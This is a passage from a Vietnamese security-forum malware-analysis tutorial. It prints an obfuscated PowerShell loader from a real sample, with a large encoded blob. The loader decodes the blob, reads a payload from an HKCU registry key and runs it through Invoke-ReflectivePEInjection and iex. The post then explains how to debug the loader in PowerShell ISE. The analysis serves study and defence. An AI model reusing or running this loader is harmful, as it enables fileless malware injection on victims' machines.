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');
    $KALCTJCDPMCDGXTSP = ppBnOyhYliCn -TAMOODPZZXDLWDYXUTZ $KALCTJCDPMCDGXTSP -zYdXiQXXKDo $WQRPEKVSOECTV
    $KALCTJCDPMCDGXTSP = inflatebin -TAMOODPZZXDLWDYXUTZ $KALCTJCDPMCDGXTSP
    
    $CMLYYWQUYONYN = 'HKCU:\Software\Classes\' + $IGBUKaxyYYYKSP;
    $rUEdhlaILbyqxTaEKA = '';
    if ([IntPtr]::Size -eq 8) {
        $rUEdhlaILbyqxTaEKA = (Get-ItemProperty -Path $CMLYYWQUYONYN -Name $MTMTBBCSSWA).$MTMTBBCSSWA;
    }else{
        $rUEdhlaILbyqxTaEKA = (Get-ItemProperty -Path $CMLYYWQUYONYN -Name $NPYNSSDHZD).$NPYNSSDHZD;
    }
    $rUEdhlaILbyqxTaEKA = ppBnOyhYliCn -TAMOODPZZXDLWDYXUTZ $rUEdhlaILbyqxTaEKA -zYdXiQXXKDo $WQRPEKVSOECTV
    #$rUEdhlaILbyqxTaEKA = inflatebin2 -TAMOODPZZXDLWDYXUTZ $rUEdhlaILbyqxTaEKA
    
    $KALCTJCDPMCDGXTSP = $KALCTJCDPMCDGXTSP + 'Invoke-ReflectivePEInjection -PEBytes $rUEdhlaILbyqxTaEKA;'
    iex $KALCTJCDPMCDGXTSP;
    WOW! Nhìn qua đoạn code trên có thể thấy đã được code đẹp rồi, nhưng nhiều và lằng nhằng quá phải không các bạn :D. Thật ra chúng ta để tý, mình chỉ cần kéo qua xem code từ trên xuống dưới một lượt để có cái nhận định ban đầu: Đoạn code trên cũng chỉ gồm vài function và các biến. Mục đích của chúng là tiếp tục giải mã và thực thi một đoạn code khác. Có nghĩa là đây chỉ là đoạn code giải mã, chúng ta chưa tới được thực sự code virus để biết được mục đích cuối cùng của nó là gì. Nên đoạn này chúng ta chỉ đi nhanh để tìm code giải mã.

    Tới đây, chúng ta thực sự phải dùng công cụ WindowsPowerShell ISE để debug các bạn nhé. Để bật công cụ chúng ta vào Start -> powershell_ise -> Open file code ở trên
    upload_2018-9-15_12-44-48.png

    Đây là giao diện chính của công cụ debug powershell.
    Nó gồm 3 phần chính:
    • Phần đầu: Dể hiển thị các file code đang debug
    • phần giữa: Hiển thị kết quả các lệnh khi chạy debug.
    • Phần cuối: Để giúp chúng ta gõ và thực thi thêm các lệnh trong quá trình debug
    Như đã biết, các script chạy bằng thông dịch, các lệnh sẽ được thực thi từ trên xuống dưới, khi gặp các hàm sẽ bỏ qua. Như vậy khi debug chúng ta chỉ cần chạy từ trên xuống dưới các lệnh. Một số phím tắt được sử dụng trên công cụ này như:
    • F9: Đặt breackpoint
    • F5: Bắt đầu debug(chạy script tới chỗ đặt breackpoint)
    • F10: Để chạy từng lệnh, chạy qua 1 hàm
    • F11: Để chay vào hàm
    Bây giờ chúng ta bắt đầu debug nhé. Nếu các bạn debug lần đầu tiên thường bị lỗi "cannot be loaded because the execution of scripts is disabled on this system. Please see "get-help about_signing"" thì các bạn chạy lệnh sau "Set-ExecutionPolicy RemoteSigned" ở cửa sổ phần cuối nhé

    Mục đich của đoạn trên là tìm code giải mã, nên chúng ta đặt breackpoint tới biến cuối cùng là biên $KALCTJCDPMCDGXTSP

    Như hình trên chúng ta thấy biến $KALCTJCDPMCDGXTSP sau khi giải mã xong sẽ được một đoạn script khác và thực thi nó. Để xem được scirpt nào chúng ta phải chỉ chuột vào nó. Công cụ debug này có một nhược điểm là không copy được giá trị biến. Để tiện theo dõi và sử dụng lại những biến quan trọng mình thường lưu nó ra file. Như trong ví dụ này, biến $KALCTJCDPMCDGXTSP là rất quan trọng. Mình sẽ lưu nó ra file bằng lệnh sau: "$KALCTJCDPMCDGXTSP | Out-File c:\debug.txt". Cách khác, các bạn có thể echo biến đó và copy paste :D. Mình thì hay dùng cách 1 hơn vì đối với những biến kiểu mảng byte thì việc lưu ra file để view hex sẽ dễ dàng hơn, nhất là một PE file.

    Dưới đây là toàn bộ code phần này. Tuy nó hơi dài nhưng khá hay, các bạn chịu khó đọc xem nó làm những gì nhé
    https://drive.google.com/file/d/1alQdSpW-lzSVcrAAE1ZR4VQEZyr3qhoe/view?usp=sharing
    Mục đích trình của đoạn code trên là đi inject một PE file. Mình sẽ dừng ở đây. Các bạn có thể tự làm tiếp xâu ghép các đoạn code để dedbug hiểu được bản chất nhé, nhiệm vụ tiếp theo nếu các bạn hứng thú là xâu chuỗi các đoạn code trên để tìm được PE file của virus nhé :D. Chúc các bạn may mắn!
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    htnet, Sugi_b3o and whf like this.